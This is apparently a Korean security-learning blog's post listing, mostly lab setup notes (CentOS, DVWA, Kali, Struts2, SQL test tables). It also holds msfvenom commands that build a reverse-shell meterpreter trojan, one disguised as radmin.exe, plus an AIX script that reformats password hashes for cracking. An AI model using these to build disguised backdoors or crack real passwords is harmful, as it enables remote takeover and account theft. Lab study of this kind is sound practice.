레이블이 SYSTEM인 게시물을 표시합니다. 모든 게시물 표시
레이블이 SYSTEM인 게시물을 표시합니다. 모든 게시물 표시

2019. 4. 27.

centos 7 네트워크 수동 설정

오랜만에 VMWARE에 centos 를 재설치하였는데 IP 를 자동으로 설정이 안되었다.




1. vmware 네트워크 정보 확인
vmware 의 edit > virtual network editor 에서 Subnet IP, Subnet-mask, GW IP 를 확인


2. ens33 인터페이스 설정
vi /etc/sysconfig/network-scripts/ifcfs-ens33 설정
- BOOTPROTO를 dhcp에서 none 으로 설정
- ONBOOT 를 no에서 yes로 수정
IPADDR=아이피주소
NETMASK = 서브넷마스크값
GATEWAY=IP주소
DNS1=8.8.8.8


3. 네트워크 재시작
systemctl restart NetworkManager
systemctl restart network
ifup ens33


4. 네트워크 설정확인
ip addr
ping 8.8.8.8

Continue reading

2018. 8. 2.

트로이 목마 제작 (backdoor)


# 트로이 목마 제작-1 

프로그램을 실행함과 동시에 리버스 커넥션을 통해 쉘을 탈취하는 트로이 목마를 제작해본다.
* msfvenom 사용
msfvenom 메타스플로잇의 부가기능으로 제공되는 프로그램이다. 각종 페이로드를 생성ㅎ할 수 있는 프로그램이다. 공격할때 사용되는 쉘코드, exe 실행파일 형태로 공격파일을 생성 할 수 있다.


msfvenom -p windows/meterpreter/reverse_tcp LHOST=로컬 ip LPORT=4444 -f exe > bad.exe

exe 포맷으로 사용자가 클릭하면 바로 공격이 되는 bad.exe 라는 실행파일을 실행한다.

이 역시 핸들러가 필요하므로 multi/handler 모듈을 사용한다
payload 는 msfvenom 과 동일하게 설정하면 된다. 그 후, 별다른 옵션이 필요 없으므로 바로 실행하면 된다.



해당 파일을 kali/download 에 옮겨서 윈도우7애서 다운로드 하게 되면 리스터에서 응답을 하고 미터프리터 쉘이 실행된다.


# 트로이 목마 제작-2 정상적인 프로그램으로 보이는 real 트로이목마 

/usr/share/windows-binaries 폴더에는 윈도우에서 사용할 수 있는 파일들이 있다.

radmin 을 파일로 위장한 파일 트로이목마를 제작하도록 한다.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=로컬 ip LPORT=4444 -f exe -x /usr/share/windows-binaries/radmin.exe -k > radmin.exe

-k 옵션은 위장 할 원본 파일을 지정, -k 는 페이로드가 새로운 스레드로 생성되게 하는 것이다 즉 페이로드와 상관없이 원본 프로그램이 정상적으로 작동되게 하는 것이다.

이렇게 생성된 파일이름을 기존 생성파일과 동일하게 두면 보다 더 그럴듯하게 된다.
그리고 multi/handler 를 실행하고, 웹서버에 다운로드 하고 실행한다.


radmin.exe 을 다운로드 하면 정상 파일처럼 실행이 되지만 공격자pc 에서는 meterpreter 쉘이 실행된다.
그러나 사용자가 radmin 프로그램을 닫아버리면 세션이 끊어진다. 별도의 프로그래밍을 통해 세션을 유지하는 기능을 넣어야 할것 같다.


Continue reading

2018. 7. 18.

Kali linux 에서 DVWA 설치 with XAMPP

# XAMPP 설치

1) 설치 파일 다운
apachefriends.org 접속 후 5.6.23 버전 파일을 다운받는다.

  • https://sourceforge.net/projects/xampp/files/XAMPP%20Linux/5.6.23/

** dvwa 는 php7 에서는 동작하지 않기 때문에 xampp 는 5.6.23 을 받아야 dvwa 와 같이 테스트 할 수 있다.

2) 실행
실행권한을 부여하고 실행한다. 

cd Download
chmod +x ./xampp-linux-x64-5.6.23-0-installer.run
./xampp-linux-x64-5.6.23-0-installer.run



go to application 클릭
opt/lampp 에 설치 되어 있다.

3) 기본 설정

vi /opt/lampp/etc/php.ini

allow_url_include=yes 를 on으로 변경후 저장


그 후 MySQL 과 Apache를 재시작한다. 

# 데이터베이스 설정

phpmyadmin 클릭



databases > create databases > dvwa 생성


dvwa 생성
http://secuacademy.com/files/

압축 파일을 받고 unzip 으로 풀고 서비스 폴더로 옮긴다

mv DVWA-1.9 /opt/lampp/htdocs/dvwa


# DVWA 설정

localhost/dvwa/setup.php

위 빨간색 부분이 설정이 되어 있지 않은 것이다

1) reCAPTCHA Key 설정
https://www.google.com/recaptcha/admin 에 접속하고 아래와 같이 입력한다.


Key가 생성되고 이 키를 dvwa 설정파일에 입력해야 한다. 



vi /opt/lampp/htdocs/dvwa/config/config.inc.php

Site key 는 public key로 Secret Key 는 private key 에 넣는다. 혹시 db 패스워드가 설정되어 있으면 지우고 파일을 저장한다.  


쓰기 권한 주기 
아래 두개의 파일을 직접적으로 모든 권한을 준다 (chmod 777 파일 경로)



모든 설정이 완료되었음을 확인하였다.


localhost/dvwa/login.php 에서 로그인 할 수 있다. id/pw 는 admin / password 이다

그 후 create / Reset database 클릭 

** 재부팅을 하면 /opt/lampp/lampp restart 로 웹서버를 재기동 해야한다. 

Continue reading

Kali Linux 초기 셋팅

# 웹 서비스 한글이 깨지는 경우
한글 폰트 설치

  • apt-get install -y fonts-nanum
  • fc-cache -f -v 


# 메뉴 한글로 설정

  • settings -> fonts > 한글
# 한글로 입력하기
apt-get install -y nabi
apt-get install -y im-config
im-config
한글 선택

# 휠이 거꾸로 동작하는 경우
gsettings set org.gnome.desktop.peripherals.touchpad natural-scroll false



Continue reading

2018. 7. 13.

[CVE-2017-5638] Apache Struts2 취약점 분석

1. Apache Struts2 취약점 분석
해당 취약점은 JaKarta Multipart 파서를 기반으로 한 파일 업로드를 수행할 때 HTTP Request Header의 Content-Type 을 변조해 원격코드 실행을 가능하게 한다.


1-1) Apache Structs2 란

JAVA EE(Java Platform Enterprise Edition) 웹 애플리케이션을 개발하기 위한 오픈소스 프레임워크이다. 

2. Apache Struts2 취약점 분석 환경 구축

2-1) Java 설치
  • http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html

2-2) 설치 후 환경 설정

- 시스템 변수 편집

;%JAVA_HOME%\bin; 추가


- 설치 확인

2-2) Apache Tomcat 설치
  • https://tomcat.apache.org/download-70.cgi

2-3) Tomcat 환경 설정

  • http://www.eclipse.org/downloads/packages/eclipse-ide-java-ee-developers/neon3
이후 이클립스에서 테스트하기 위해, 압축을 풀고 conf 파일의 server.xml 파일을 수정해서 사용 포트를 변경해야 한다. (Port 3개 변경 필요)
bin 폴더에서 startup.bat, shutdown.bat 파일로 서버 기동을 할 수 있다.

2-4) Eclipse 설치
  • http://www.eclipse.org/downloads/packages/eclipse-ide-java-ee-developers/neon3


2-5) Struts2 다운로드
  • http://mvnrepository.com/artifact/org.apache.struts/struts2-rest-showcase/2.3.31


2-6) 이클립스 실행 및 설정

- 이클립스 실행 > Window > Preference > Server > Runtime Environmments > Add > Apache Tomcat v7.0 > browse > 다운로드 한 tomcat 7.0 폴더 선택

- File > Import > war file > next < browse > 설치한 structs2 파일 선택

- Structs 2 우 클릭 > Run As > Run on Server


** 실수로 Navigator 창을 내렸을 때는, windows > show view > navigator 를 클릭

- 톰캣에서 사용하는 포트를 모두 바꿔야 실행이 된다.
- 제대로 되지 않으면 Tomcat 서비스를 중지 시킨 후 다시 실행해본다.

2-7) 아래와 같이 페이지가 뜨는것이 확인된다.


2-8) 공격 코드를 (https://www.exploit-db.com/exploits/41570/) 다운 받고 실행하면 다음과 같이 명령어가 실행되는 것을 볼 수 있다.


3. 취약점 분석



#참고
  • https://blog.rebforpwn.com/index.php/2018/02/02/697/
  • https://blog.rebforpwn.com/index.php/2018/02/02/702/
  • https://m.blog.naver.com/PostView.nhn?blogId=skinfosec2000&logNo=220760726674&proxyReferer=https%3A%2F%2Fwww.google.co.kr%2F

Continue reading

2018. 7. 7.

sqllite3 설치 및 이용

#sqlite3 설치 및 환경설정 
- https://sqlite.org/download.html

나는 Command line shell이 필요하기 때문에 OS BIT(64/32) 에 상관없이 위에 표시된 것을 설치했다. 32비트 프로그램을 돌려도 이상없이 잘 실행된다.
압축을 풀고 보면 아래와 같이 프로그램이 존재한다.



아래와 같이 환경설정을 한다.


# sqlite3 사용

sqlite test.db (만들고자하는 데이터베이스 명)으로 db를 만들수 있다.

*  기타 명령어

.table  : 존재하는 테이블 보기
.help : 도움말
.quit : 종료하기
.schema saram : saram 테이블 스키마 보기
.mode column : 컬럼 형태로 정리하여 보여지기 (mysql 처럼)

Continue reading

2018. 6. 28.

anonymous ftp 의 위험성



vi 명령어로 /etc/vsftpd/vsftpd.conf 을 확인한 결과이다. anonymous 가 설정되어 있다.

(추가로 anon_upload_enable=YES 로 되어 있는데 이 부분은 익명사용자가 서버에 파일을 업로드하는 것을 허용하는 것이다.)


위와 같이 암호를 입력하지 않고 '엔터' 만 누름으로써 서버에 접속이 가능하다.

ftp 정보는 zenmap 으로도 확인 할 수 있다.


** 참고
ftp 명령어
lcd E:\ // 로컬에서 드라이브로 이동
!dir // 로컬 파일들 확인
put test.php // php 파일을 서버에 업로드
put *.php //php 파일을 모두 서버에 업로드
get test.php // test.php 파일 받기
mget *.php // php 파일 모두 받기

Continue reading

2018. 6. 13.

[웹취약점] MySQL, MSSQL 쿼리테스트


1. MySQL DB 공격 테스트

테스트 대상 : 로컬 MySQL
테스트 도구 : MySQL 쿼리분석기
준비사항 : 아파치 APM 설치, MySQL 설치, MySQL 쿼리분석기 설치

1) APM 설치

- 아래 블로그에서 APM 설치파일을 받을 수 있다.
- http://pritaa.co.kr/106

2) MySQL 쿼리분석기 설치

https://downloads.mysql.com/archives/gui/

3) MySQL query brower 실행 후 아래 정보 입력

host : 127.0.0.1
username : root
passwd : apmsetup
default schema : 생성하고자 하는 db 이름

-----------------
테이블 만들기
create table test (
id int,
name varchar(10),
passwd varchar(10)
);

데이터 입력하기
insert into test (id, name, passwd)
values(1, "charlie", "123456");

insert into test (id, name, passwd)
values(2, "misha", "qwer");

insert into test (id, name, passwd)
values(3, "blind", "hiido");

------------


2. MSSQL DB 공격 테스트

테스트 대상 : MSSQL 2012
테스트 도구 : MSSQL 쿼리 분석기
준비사항 : MSSQL 설치


1) MSSQL 2012 EXPRESS 설치
https://www.microsoft.com/ko-kr/download/details.aspx?id=29062


위 두 파일을 모두 다운로드 하고 SQLEXPR > SQLManagementStudio 순으로 설치를 한다.  (둘다 설치 해야함)

2) '새 SQL Server 독립 실행형 설치 또는 기존 설치에 기능 추가' 규격으로 설치

3) 기능 모두 체크하고 설치 (인스턴스 기능, 공유기능)

4) 기본 인스턴스로 설치 (default 설정은 명명된 인스턴스로 되어 있음)

5) 서비스 계정 시작 유형을 모두 '자동' 으로 설정함

6) 혼합 모드로 암호 설정하고 시작한다.

7) sql server management studio 시작 후 새 데이터 베이스 만들고 시작한다.


----------------

생성된 데이터베이스 test 사용
use test;

테이블 test, users, bbs 생성
create table test
(
id int not null,
name varchar(20) not null,
password varchar(20) not null
);

create table users
(
id int not null,
name varchar(20) not null,
password varchar(20) not null
);

create table bbs
(
id int not null,
name varchar(20) not null,
password varchar(20) not null
);

테이블에 test 데이터 입력

insert into test
values(1, 'charlie', '123456');

insert into test
values(2, 'charlie', '123456');

insert into test
values(3, 'charlie', '123456');


--------------


참고

  • MSSQL 설치 가이드 - https://www.youtube.com/watch?v=vng0P8Gfx2g


Continue reading

2017. 11. 12.

[시스템 취약점] AIX 시스템 점검 팁 - 패스워드 크랙

 AIX 환경의 shadow 파일은 /etc/security/passwd 이다.
/etc/security/passwd 파일은 아래와 같은 형태여서 존 더 리퍼(John The Ripper)로 패스워드 크랙킹이 되지 않는다.

root:
      password =  PaDa01Bvd1liO
      lastupdate = 12312312312
      flags =
daemon:
      password = *
bin:
      password = *
sys:
      password = *
때문에 아래와 같이 별도의 파일을 만들고,  ./파일명 /etc/security/passwd 를 입력하면 크랙 결과가 출력된다.
#!/bin/bash
cat $1|egrep ":|password" | sed 's/password = //g' | tr -d "\t " |sed ':a;N;$!ba;s/:\n/:/g'


참고

  • http://crehacktive3.blog.me/220974037924

Continue reading

Popular Posts

Recent Posts

Powered by Blogger.